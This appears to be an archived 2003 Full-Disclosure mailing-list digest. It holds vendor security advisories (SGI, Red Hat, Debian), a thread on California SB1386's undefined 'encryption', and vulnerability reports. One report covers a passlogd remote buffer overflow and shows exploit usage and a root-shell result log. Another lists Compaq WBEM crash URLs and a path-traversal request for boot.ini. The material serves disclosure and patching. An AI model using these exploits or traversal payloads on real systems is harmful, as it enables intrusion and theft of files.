Bulletin 20030101-01-P. 6) This patch also fixes the relaying issue discussed in SGI Security Bulletin 20030101-01-P. 7) This patch also fixes the remote buffer overflow issue discussed in SGI Security Advisory 20030301-01-P. ##### Patch File Checksums #### The actual patch will be a tar file containing the following files: Filename: README.patch.5045 Algorithm #1 (sum -r): 17058 9 README.patch.5045 Algorithm #2 (sum): 29710 9 README.patch.5045 MD5 checksum: 2A11FB27058D75290D57687B128F0731 Filename: patchSG0005045 Algorithm #1 (sum -r): 25641 5 patchSG0005045 Algorithm #2 (sum): 25640 5 patchSG0005045 MD5 checksum: 4D63C59F6CDFDB3AAB7E3D337890D037 Filename: patchSG0005045.eoe_src Algorithm #1 (sum -r): 19317 302 patchSG0005045.eoe_src Algorithm #2 (sum): 12694 302 patchSG0005045.eoe_src MD5 checksum: 870AB3F3367587C6027EDA08988B5DDF Filename: patchSG0005045.eoe_sw Algorithm #1 (sum -r): 39041 664 patchSG0005045.eoe_sw Algorithm #2 (sum): 49516 664 patchSG0005045.eoe_sw MD5 checksum: 5EA5D446929D0F2883FC50DDA66FF301 Filename: patchSG0005045.idb Algorithm #1 (sum -r): 26055 4 patchSG0005045.idb Algorithm #2 (sum): 29470 4 patchSG0005045.idb MD5 checksum: 74EF204CA7A672387C027D5AC1D71EAB Filename: README.patch.5046 Algorithm #1 (sum -r): 08295 9 README.patch.5046 Algorithm #2 (sum): 31372 9 README.patch.5046 MD5 checksum: 57F117DEE0E093D6542627AB3042E492 Filename: patchSG0005046 Algorithm #1 (sum -r): 26132 3 patchSG0005046 Algorithm #2 (sum): 21318 3 patchSG0005046 MD5 checksum: 34947E773F7D560FA88126A9D7EB4727 Filename: patchSG0005046.eoe_src Algorithm #1 (sum -r): 25109 367 patchSG0005046.eoe_src Algorithm #2 (sum): 36323 367 patchSG0005046.eoe_src MD5 checksum: 056CA18219771716E036242FA7E29CF1 Filename: patchSG0005046.eoe_sw Algorithm #1 (sum -r): 35988 1103 patchSG0005046.eoe_sw Algorithm #2 (sum): 42426 1103 patchSG0005046.eoe_sw MD5 checksum: BAA9C61B8216491FE8CE6AC0C508590B Filename: patchSG0005046.idb Algorithm #1 (sum -r): 35518 4 patchSG0005046.idb Algorithm #2 (sum): 7374 4 patchSG0005046.idb MD5 checksum: 42BFA979BB5F0327CF329CDD21033972 - ------------- - --- Links --- - ------------- SGI Security Advisories can be found at: http://www.sgi.com/support/security/ and ftp://patches.sgi.com/support/free/security/advisories/ SGI Security Patches can be found at: http://www.sgi.com/support/security/ and ftp://patches.sgi.com/support/free/security/patches/ SGI patches for IRIX can be found at the following patch servers: http://support.sgi.com/ and ftp://patches.sgi.com/ SGI freeware updates for IRIX can be found at: http://freeware.sgi.com/ SGI fixes for SGI open sourced code can be found on: http://oss.sgi.com/projects/ SGI patches and RPMs for Linux can be found at: http://support.sgi.com/ or http://oss.sgi.com/projects/sgilinux-combined/download/security-fixes/ SGI patches for Windows NT or 2000 can be found at: http://support.sgi.com/ IRIX 5.2-6.4 Recommended/Required Patch Sets can be found at: http://support.sgi.com/ and ftp://patches.sgi.com/support/patchset/ IRIX 6.5 Maintenance Release Streams can be found at: http://support.sgi.com/ IRIX 6.5 Software Update CDs can be obtained from: http://support.sgi.com/ The primary SGI anonymous FTP site for security advisories and patches is patches.sgi.com (216.32.174.211). Security advisories and patches are located under the URL ftp://patches.sgi.com/support/free/security/ For security and patch management reasons, ftp.sgi.com (mirrors patches.sgi.com security FTP repository) lags behind and does not do a real-time update. - ------------------------ - --- Acknowledgments ---- - ------------------------ SGI wishes to thank Michal Zalewski, sendmail.org and the users of the Internet Community at large for their assistance in this matter. - ----------------------------------------- - --- SGI Security Information/Contacts --- - ----------------------------------------- If there are questions about this document, email can be sent to security-info at sgi.com. ------oOo------ SGI provides security information and patches for use by the entire SGI community. This information is freely available to any person needing the information and is available via anonymous FTP and the Web. The primary SGI anonymous FTP site for security advisories and patches is patches.sgi.com (216.32.174.211). Security advisories and patches are located under the URL ftp://patches.sgi.com/support/free/security/ The SGI Security Headquarters Web page is accessible at the URL: http://www.sgi.com/support/security/ For issues with the patches on the FTP sites, email can be sent to security-info at sgi.com. For assistance obtaining or working with security patches, please contact your SGI support provider. ------oOo------ SGI provides a free security mailing list service called wiretap and encourages interested parties to self-subscribe to receive (via email) all SGI Security Advisories when they are released. Subscribing to the mailing list can be done via the Web (http://www.sgi.com/support/security/wiretap.html) or by sending email to SGI as outlined below. % mail wiretap-request at sgi.com subscribe wiretap end ^d In the example above, is the email address that you wish the mailing list information sent to. The word end must be on a separate line to indicate the end of the body of the message. The control-d (^d) is used to indicate to the mail program that you are finished composing the mail message. ------oOo------ SGI provides a comprehensive customer World Wide Web site. This site is located at http://www.sgi.com/support/security/ . ------oOo------ If there are general security questions on SGI systems, email can be sent to security-info at sgi.com. For reporting *NEW* SGI security issues, email can be sent to security-alert at sgi.com or contact your SGI support provider. A support contract is not required for submitting a security report. ______________________________________________________________________________ This information is provided freely to all interested parties and may be redistributed provided that it is not altered in any way, SGI is appropriately credited and the document retains and includes its valid PGP signature. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBPotWYbQ4cFApAP75AQH5DgP/Xe+S6v4aStNTcMX/gdMJwJt2Mai8GkPG L0bmJcx644qzrHrHy/+/RZpnRxNWX3SETgJLwxAHBbBre23w6IeQ88jW19ZkEoj0 rRf2LwiZC1Zm/Ra9zb4tF2QFvWRXgzErcFRvRccKb48i1yPDCKZov2KUBUwnXZ/h r8uMyqw8TYI= =vBwE -----END PGP SIGNATURE----- From dotslash at snosoft.com Wed Apr 2 18:28:19 2003 From: dotslash at snosoft.com (KF) Date: Wed, 02 Apr 2003 12:28:19 -0500 Subject: [Full-Disclosure] SRT2003-04-02-1735 - Progress PROSTARTUP root owned file read Message-ID: <3E8B1DB3.50504@snosoft.com> This data can be found at http://www.secnetops.biz/research -KF -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: SRT2003-04-02-1735.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030402/65766325/attachment.txt From cta at hcsin.net Thu Apr 3 02:58:46 2003 From: cta at hcsin.net (Bernie, CTA) Date: Wed, 2 Apr 2003 20:58:46 -0500 Subject: [Full-Disclosure] Re: California State Bill SB1386 Message-ID: <3E8B4F06.20328.3FE275@localhost> > On Wed, 26 Mar 2003, Anders Reed Mohn wrote: > > > >I appreciate the various replies that I've received. However, > > >the fundamental question of what defines encryption, so far as > > >SB1386 is concerned, is still unanswered. I've looked through > > >other California State Bills and supporting documentation, all > > >to no avail. > > > How does California Law relate to the US justice department > > anyway? If your lawmen don't know any California precedence (if > > that's the word), then I assume a definition from some federal > > bureau/office is "next in line" to be valid. On 28 Mar 2003, at 7:25, Cliff Gilley (System Admin, HolyElvis.com wrote: > ...In this situation, the legislature has completely failed to > provide a definition of the term "encryption". If a case is > brought under this law, I can guarantee you that both sides will > be arguing what encryption is, and it's likely going to take an > appellate court's decision to impute a definition to the Senate's > bill. It would have been much simpler (and cheaper for CA > taxpayers) for everyone involved if the Senate had done its job > and provided a definition under the bill for a technically > amorphous term. Then you might argue that their definition was > insufficient or inaccurate, but at least you'd know what you had > to do. > > Here's the unfortunate part, at least for consumers. When a term > has plain meaning (like "encryption"), and the legislature has > not specified a separate meaning, the courts will probably apply > the term's plain meaning. Which in this case is completely > contradictory to the intent of the law - someone *could* use > ROT-3 "encryption" and fit within the words of the statute, if > not the spirit. This is a really tough legal question, which is > probably the reason the Senate passed on addressing it. > bhh>>> Actually, I feel that the Senate was, probably unwittingly, wise in not defining the term encryption. My reasoning for this is simple, encryption is an ever evolving term tied to the current state-of-art and best practices. What we define as encryption yesterday, today and in the future was, is, and could be different. By not defining the term Encryption in law, the court need only consider the scope and objectives of the application (requirements and specifications), current state-of-art, and current best practices to qualify and define the term for a particular matter before it. More importantly, we should not try to use ubiquitous and ambiguous terms such as encryption to define what is a simple requirement, i.e., prevent unauthorized access to personally identifiable information. Furthermore, by not providing a legal definition of the term encryption, the parties of interest have the burden to sufficiently document security requirements, specifications and limitations. Consequently, vendors will be required to establish and document system security engineering processes that are sate-of-art, verifiable and satisfy best practices. Its time for businesses, software and systems vendors to get serious and put honest thought into security. One size does not fit all, and effective solutions do not come in a box. A well thought out security engineering process is the keystone of the arch of a quantifiable and qualifiable security solution. bhh<<< - - **************************************************** Bernie Chief Technology Architect Chief Security Officer cta at hcsin.net Euclidean Systems, Inc. ******************************************************* // "There is no expedient to which a man will not go // to avoid the pure labor of honest thinking." // Honest thought, the real business capital. // Observe> Think> Plan> Think> Do> Think> ******************************************************* From xploit at hackermail.com Thu Apr 3 03:38:42 2003 From: xploit at hackermail.com (dong-h0un U) Date: Thu, 03 Apr 2003 10:38:42 +0800 Subject: [Full-Disclosure] [INetCop Security Advisory] Remote Multiple Buffer Overflow vulnerability in passlogd sniffer. Message-ID: <20030403023842.30935.qmail@hackermail.com> ======================================== INetCop Security Advisory #2003-0x82-015 ======================================== * Title: Remote Multiple Buffer Overflow vulnerability in passlogd sniffer. 0x01. Description About: passlogd(passive syslog capture daemon) is a purpose-built sniffer for capturing syslog messages in transit. This allows for backup logging to be performed on a machine with no open ports. This program is introduced in securityfocus: http://www.securityfocus.com/tools/2076 Vulnerability can presume as following. There is sl_parse() function to 33 lines of 'passlogd-0.1d/parse.c' code. __ 33 void sl_parse(char *user, struct pcap_pkthdr *pkthdr, u_char *pkt) 34 { ... 42 char level[5]; 43 char message[1024]; 44 char buffer[4096]; ... 77 while(pkt[i] != '>'){ 78 level[j] = pkt[i]; // First, buffer overflow happens. 79 i++; 80 j++; 81 } 82 i++; ... 87 while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){ 88 if(debug) 89 printf("at byte %d of %d\n", i, pkthdr->caplen - 1); 90 message[z] = pkt[i]; // Second, buffer overflow happens. 91 i++; 92 z++; 93 } ... 103 /* built the logstring */ 104 if(dflag){ 105 sprintf(buffer, "%s %s\n", srcip, message); // Very dangerous. 106 } 107 else { 108 sprintf(buffer, "%s to %s: <%s> %s\n", srcip, dstip, level, message) // Similarly, is dangerous. ; 109 } ... /* Role of original is like this. */ 123 syslev = atoi(level); 124 openlog("passlogd", 0, LOG_DAEMON); 125 syslog(syslev, "%s", buffer); -- Visual point that change flowing of this program, happen after overwrited stack variables. Of course, frame pointer overrun exists together. 0x02. Vulnerable Packages Vendor site: http://www.morphine.com/src/passlogd.html passlogd v0.1d -passlogd-0.1d.tar.gz +FreeBSD +OpenBSD +Linux +Other passlogd v0.1c -passlogd-0.1c.tar.gz passlogd v0.1b -passlogd-0.1b.tar.gz passlogd v0.1a -passlogd-0.1a.tar.gz 0x03. Exploit Our proof of concept code was completed. Exhibit it sooner or later. bash-2.04# ./0x82-Remote.passlogd_sniff.xpl passlogd sniffer remote buffer overflow root exploit by Xpl017Elz. Usage: ./0x82-Remote.passlogd_sniff.xpl -option [argument] -h - hostname. -f - spoof src ip. -s - &shellcode. -l - buf len. -t - target number. -i - help information. Select target number: {0} ALZZA Linux release 6.1 (Linux One) {1} WOW Linux release 6.2 (Puberty) {2} RedHat Linux release 7.0 (Guinness) {3} WOWLiNUX Release 7.1 (Paran) {4} RedHat Linux release 8.0 (Psyche) Example> ./0x82-Remote.passlogd_sniff.xpl -h localhost -f82.82.82.82 -t3 Example2> ./0x82-Remote.passlogd_sniff.xpl -h localhost -s0x82828282 -l582 bash-2.04# test exploit result: -- #1) attacker system: bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2 -s0x82828282 passlogd sniffer remote buffer overflow root exploit by Xpl017Elz. [0] Set packet code size. [1] Set protocol header. [2] Make shellcode. [3] Set rawsock. [4] Send packet. [5] Trying 61.37.xxx.xx:36864. [-] Connect Failed. bash-2.04# #2) target system: [root at blah /passlogd-0.1d]# gdb -q ./passlogd (gdb) r Starting program: /passlogd-0.1d/./passlogd Wed Mar 26 12:16:27 2003 to : < > r^) F @ F @ F N f C F f ^ F ) F f F N N N f ^ CC f V V fC ?) ?A ?A V v K /bin/shd Program received signal SIGSEGV, Segmentation fault. 0x82828282 in ?? () (gdb) real exploit result: -- bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2 passlogd sniffer remote buffer overflow root exploit by Xpl017Elz. [0] Set packet code size. [1] Set protocol header. [2] Make shellcode. [3] Set rawsock. [4] Send packet. [5] Trying 61.37.xxx.xx:36864. [*] Connected to 61.37.xxx.xx:36864. [*] Executed shell successfully ! Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [root at blah /passlogd-0.1d]# -- 0x04. Patch === parse.patch === --- parse.c Sat Jun 9 14:07:45 2001 +++ parse.patch.c Wed Mar 26 11:48:33 2003 @@ -75,6 +75,10 @@ j=0; while(pkt[i] != '>'){ + if(j==sizeof(level)-1) + { + break; + } level[j] = pkt[i]; i++; j++; @@ -87,6 +91,10 @@ while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){ if(debug) printf("at byte %d of %d\n", i, pkthdr->caplen - 1); + if(z==sizeof(message)-1) + { + break; + } message[z] = pkt[i]; i++; z++; @@ -102,10 +110,10 @@ /* built the logstring */ if(dflag){ - sprintf(buffer, "%s %s\n", srcip, message); + snprintf(buffer, sizeof(buffer)-1, "%s %s\n", srcip, message); } else { - sprintf(buffer, "%s to %s: <%s> %s\n", srcip, dstip, level, message); + snprintf(buffer, sizeof(buffer)-1, "%s to %s: <%s> %s\n", srcip, dstip, level, message); } if(debug){ === eof === P.S: Sorry, for my poor english. -- By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security. MSN & E-mail: szoahc(at)hotmail(dot)com, xploit(at)hackermail(dot)com INetCop Security Home: http://www.inetcop.org (Korean hacking game) My World: http://x82.i21c.net & http://x82.inetcop.org GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y -- -- _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze From bugzilla at redhat.com Thu Apr 3 09:07:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Thu, 3 Apr 2003 03:07 -0500 Subject: [Full-Disclosure] [RHSA-2003:128-01] Updated Eye of GNOME packages fix vulnerability Message-ID: <200304030807.h3387Ns20210@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: Updated Eye of GNOME packages fix vulnerability Advisory ID: RHSA-2003:128-01 Issue date: 2003-04-03 Updated on: 2003-04-03 Product: Red Hat Linux Keywords: eog Cross references: Obsoletes: CVE Names: CAN-2003-0165 --------------------------------------------------------------------- 1. Topic: Updated eog packages that fix a security vulnerability are now available. 2. Relevant releases/architectures: Red Hat Linux 8.0 - i386 Red Hat Linux 9 - i386 3. Problem description: Eye of GNOME (EOG) is a component for the GNOME desktop used by various Red Hat Linux packages for displaying images. A vulnerability was found in EOG version 2.2.0 and earlier. A carefully crafted filename passed to the program could lead to the execution of arbitrary code. An attacker could exploit this because various packages (Mutt, for example) make use of EOG for image viewing. All users are advised to upgrade to these erratum packages which contain a backported patch correcting this issue. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. RPMs required: Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/eog-1.0.2-5.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/eog-1.0.2-5.i386.rpm Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/eog-2.2.0-2.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/eog-2.2.0-2.i386.rpm ftp://updates.redhat.com/9/en/os/i386/eog-debuginfo-2.2.0-2.i386.rpm 6. Verification: MD5 sum Package Name -------------------------------------------------------------------------- d31a8db34114eb86ace10db7bf3746f5 8.0/en/os/SRPMS/eog-1.0.2-5.src.rpm 1d055997d23c7c1a9f0e79efa71a1d99 8.0/en/os/i386/eog-1.0.2-5.i386.rpm 0f5e7565028078cb7d12ecf7b682581a 9/en/os/SRPMS/eog-2.2.0-2.src.rpm 329d011aba972df02e1eb11117db7c6d 9/en/os/i386/eog-2.2.0-2.i386.rpm 3cd10c34eebd8d6335fd44a5a60da4f5 9/en/os/i386/eog-debuginfo-2.2.0-2.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 7. References: http://marc.theaimsgroup.com/?l=bugtraq&m=104887189724146&w=2 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0165 8. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From bugzilla at redhat.com Thu Apr 3 09:08:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Thu, 3 Apr 2003 03:08 -0500 Subject: [Full-Disclosure] [RHSA-2003:060-01] Updated NetPBM packages fix multiple vulnerabilities Message-ID: <200304030808.h3388Ms20328@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: Updated NetPBM packages fix multiple vulnerabilities Advisory ID: RHSA-2003:060-01 Issue date: 2003-04-03 Updated on: 2003-04-03 Product: Red Hat Linux Keywords: Cross references: RHSA-2002:048 Obsoletes: CVE Names: CAN-2003-0146 --------------------------------------------------------------------- 1. Topic: Updated NetPBM packages are available that fix a number of vulnerabilities in the netpbm libraries. 2. Relevant releases/architectures: Red Hat Linux 7.0 - i386 Red Hat Linux 7.1 - i386 Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 3. Problem description: The netpbm package contains a library of functions that support programs for handling various graphics file formats, including .pbm (portable bitmaps), .pgm (portable graymaps), .pnm (portable anymaps), .ppm (portable pixmaps), and others. During an audit of the NetPBM library, Al Viro, Alan Cox, and Sebastian Krahmer found a number of bugs that are potentially exploitable. These bugs could be exploited by creating a carefully crafted image in such a way that it executes arbitrary code when it is processed by either an application from the netpbm-progs package or an application that uses the vulnerable netpbm library. One way that an attacker could exploit these vulnerabilities would be to submit a carefully crafted image to be printed, as the LPRng print spooler used by default in Red Hat Linux releases uses netpbm utilities to parse various types of image files. Users are advised to upgrade to the erratum packages, which contain patches that correct these vulnerabilities. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. RPMs required: Red Hat Linux 7.0: SRPMS: ftp://updates.redhat.com/7.0/en/os/SRPMS/netpbm-9.24-9.70.2.src.rpm i386: ftp://updates.redhat.com/7.0/en/os/i386/netpbm-9.24-9.70.2.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/netpbm-devel-9.24-9.70.2.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/netpbm-progs-9.24-9.70.2.i386.rpm Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/netpbm-9.24-9.71.2.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/netpbm-9.24-9.71.2.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/netpbm-devel-9.24-9.71.2.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/netpbm-progs-9.24-9.71.2.i386.rpm Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/netpbm-9.24-9.72.2.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/netpbm-9.24-9.72.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/netpbm-devel-9.24-9.72.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/netpbm-progs-9.24-9.72.2.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/netpbm-9.24-9.72.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/netpbm-devel-9.24-9.72.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/netpbm-progs-9.24-9.72.2.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/netpbm-9.24-9.73.2.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/netpbm-9.24-9.73.2.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/netpbm-devel-9.24-9.73.2.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/netpbm-progs-9.24-9.73.2.i386.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/netpbm-9.24-9.80.2.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/netpbm-9.24-9.80.2.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/netpbm-devel-9.24-9.80.2.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/netpbm-progs-9.24-9.80.2.i386.rpm 6. Verification: MD5 sum Package Name -------------------------------------------------------------------------- be2cc8d878c1524db10cb22187ce6153 7.0/en/os/SRPMS/netpbm-9.24-9.70.2.src.rpm 84deed148e62c881c51abc7fe8b37f1e 7.0/en/os/i386/netpbm-9.24-9.70.2.i386.rpm e59129726e05c5aed53852a716dd576a 7.0/en/os/i386/netpbm-devel-9.24-9.70.2.i386.rpm 611d391c6821c6ccab5ca226b707248d 7.0/en/os/i386/netpbm-progs-9.24-9.70.2.i386.rpm ebce212902a38a6b535460d7505d8520 7.1/en/os/SRPMS/netpbm-9.24-9.71.2.src.rpm d2bbd0e0d7289a475b9d4252bffd62cf 7.1/en/os/i386/netpbm-9.24-9.71.2.i386.rpm 614191513e0ab85c05b74f6506dc57ee 7.1/en/os/i386/netpbm-devel-9.24-9.71.2.i386.rpm 8813b2f6903895e042203beaf53dad38 7.1/en/os/i386/netpbm-progs-9.24-9.71.2.i386.rpm 3e6e28544a93370f50f0f86f07ec4452 7.2/en/os/SRPMS/netpbm-9.24-9.72.2.src.rpm 2f087bf61ff32bda8d37fd086748f539 7.2/en/os/i386/netpbm-9.24-9.72.2.i386.rpm ca8a0b509ed813b9a75eca790f289686 7.2/en/os/i386/netpbm-devel-9.24-9.72.2.i386.rpm 8b74468930ff8f75f8bc9160018e387e 7.2/en/os/i386/netpbm-progs-9.24-9.72.2.i386.rpm 8784738c7f3d89828276ac5c4c9a06ec 7.2/en/os/ia64/netpbm-9.24-9.72.2.ia64.rpm 8dc28a06a33d2245dd54c702ff380ca1 7.2/en/os/ia64/netpbm-devel-9.24-9.72.2.ia64.rpm fddc9d2217adb884f46994e8be9a9c68 7.2/en/os/ia64/netpbm-progs-9.24-9.72.2.ia64.rpm 0a8a1e93fefbc2671b1dd38da601fd3b 7.3/en/os/SRPMS/netpbm-9.24-9.73.2.src.rpm 881bc6223802bbabd6594a76ab78174c 7.3/en/os/i386/netpbm-9.24-9.73.2.i386.rpm 2ff8266686ce7f792cb24c6c3e191ea3 7.3/en/os/i386/netpbm-devel-9.24-9.73.2.i386.rpm da6ee0cc6a0eb6219dee9cde1f1c30d0 7.3/en/os/i386/netpbm-progs-9.24-9.73.2.i386.rpm f8a037d380f701a3e6dd89baaf4195bc 8.0/en/os/SRPMS/netpbm-9.24-9.80.2.src.rpm 14a2b98cc50fcf99f4653e8c01d60759 8.0/en/os/i386/netpbm-9.24-9.80.2.i386.rpm c39eba6f5e27407d93ba7d381cef8144 8.0/en/os/i386/netpbm-devel-9.24-9.80.2.i386.rpm b4b4628270a22335059fbdfeef6bc82d 8.0/en/os/i386/netpbm-progs-9.24-9.80.2.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 7. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0146 8. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From mcw at ns.wcd.se Thu Apr 3 06:44:27 2003 From: mcw at ns.wcd.se (bashis) Date: Thu, 3 Apr 2003 07:44:27 +0200 (CEST) Subject: [Full-Disclosure] Compaq/HP WBEM stuff (fwd) Message-ID: <200304030544.h335iRNA007344@ns.wcd.se> Compaq Insight Manager - Web-Based Management Exploitable w3 server? I don't know and i don't care... Regards, bashis > Subject: Compaq/HP WBEM stuff > To: security-alert at hp.com > Date: Sun, 9 Mar 2003 22:56:04 +0100 (CET) > > Compaq Web-Based Management stuff. > > All versions of WBEM seems to be affected.. > (These 'tags' works also with 'secure' HTTPS tcp/2381.) > > http://:2301/ > Stack overflow (0xc00000fd), Address: 0x77f0c3dc > > http://:2301/ > Stack overflow (0xc00000fd), Address: 0x77f0c3dc > > http://:2301/survey/ > Stack overflow (0xc00000fd), Address: 0x10039869 > > http://:2301/ > Stack overflow (0xc00000fd), Address: 0x77f0c3dc > > http://:2301/survey/ > Stack overflow (0xc00000fd), Address: 0x10039869 > > http://:2301/ > Stack overflow (0xc00000fd), Address: 0x77f0c3dc > > http://:2301/ > Stack overflow (0xc00000fd), Address: 0x77f0c3dc > > GET / HTTP/1.0 > Access violation (0xc0000005), Address: 0x100368a5 > > Check file existens. (with a nice 'input box';) > http://:2301/?Url=%2F..%2F..%2F..%2F..%2Fboot.ini > > ..... plus many more tags. > > Get a whole 'TAG' list with: > http://:2301/ > > Regards, bashis > From debian-security-announce at lists.debian.org Thu Apr 3 14:22:50 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Thu, 3 Apr 2003 15:22:50 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 276-1] New Linux kernel packages (s390) fix local root exploit Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030403/d1a67c80/attachment.ksh From debian-security-announce at lists.debian.org Thu Apr 3 15:44:30 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Thu, 3 Apr 2003 16:44:30 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 277-1] New apcupsd packages fix remote root exploit Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030403/b531c3df/attachment.ksh From dotslash at snosoft.com Thu Apr 3 10:43:57 2003 From: dotslash at snosoft.com (KF) Date: Thu, 03 Apr 2003 04:43:57 -0500 Subject: [Full-Disclosure] SRT2003-04-03-1300 - Interbase ISC_LOCK_ENV overflow Message-ID: <3E8C025D.8070204@snosoft.com> -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: SRT2003-04-03-1300.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030403/c2098729/attachment.txt From xploit at hackermail.com Thu Apr 3 17:24:44 2003 From: xploit at hackermail.com (dong-h0un U) Date: Fri, 04 Apr 2003 00:24:44 +0800 Subject: [Full-Disclosure] passlogd sniffer remote buffer overflow root exploit. Message-ID: <20030403162444.29779.qmail@hackermail.com> Hello. Exploit confirmed possible truth in OpenBSD. But, I did not exploit. Also, did not test in RedHat 8.0. Thank you. -- /* ** ** [*] Title: Remote Multiple Buffer Overflow vulnerability in passlogd sniffer. ** [+] Exploit code: 0x82-Remote.passlogd_sniff.xpl.c ** ** [+] Description -- ** ** About: ** passlogd is a purpose-built sniffer for capturing syslog messages in transit. ** This allows for backup logging to be performed on a machine with no open ports. ** ** This program is introduced in securityfocus: http://www.securityfocus.com/tools/2076 ** ** Vulnerability can presume as following. ** There is sl_parse() function to 33 lines of 'parse.c' code. ** ** __ ** ... ** 77 while(pkt[i] != '>'){ ** 78 level[j] = pkt[i]; // This is exploit target. ** 79 i++; ** 80 j++; ** 81 } ** 82 i++; ** ... ** -- ** ** Visual point that change flowing of this program, ** happen after overwrited stack variables. ** Of course, frame pointer overrun exists together. ** ** [+] Vulnerable Packages -- ** ** Vendor site: http://www.morphine.com/src/passlogd.html ** ** passlogd v0.1d ** -passlogd-0.1d.tar.gz ** +FreeBSD ** +OpenBSD ** +Linux ** +Other ** passlogd v0.1c ** -passlogd-0.1c.tar.gz ** passlogd v0.1b ** -passlogd-0.1b.tar.gz ** passlogd v0.1a ** -passlogd-0.1a.tar.gz ** ** [+] Exploit -- ** ** Our proof of concept code was completed. ** Exhibit it sooner or later. ** ** exploit result: -- ** ** bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2 ** ** passlogd sniffer remote buffer overflow root exploit ** by Xpl017Elz. ** ** [0] Set packet code size. ** [1] Set protocol header. ** [2] Make shellcode. ** [3] Set rawsock. ** [4] Send packet. ** [5] Trying 61.37.xxx.xx:36864. ** [*] Connected to 61.37.xxx.xx:36864. ** [*] Executed shell successfully ! ** ** 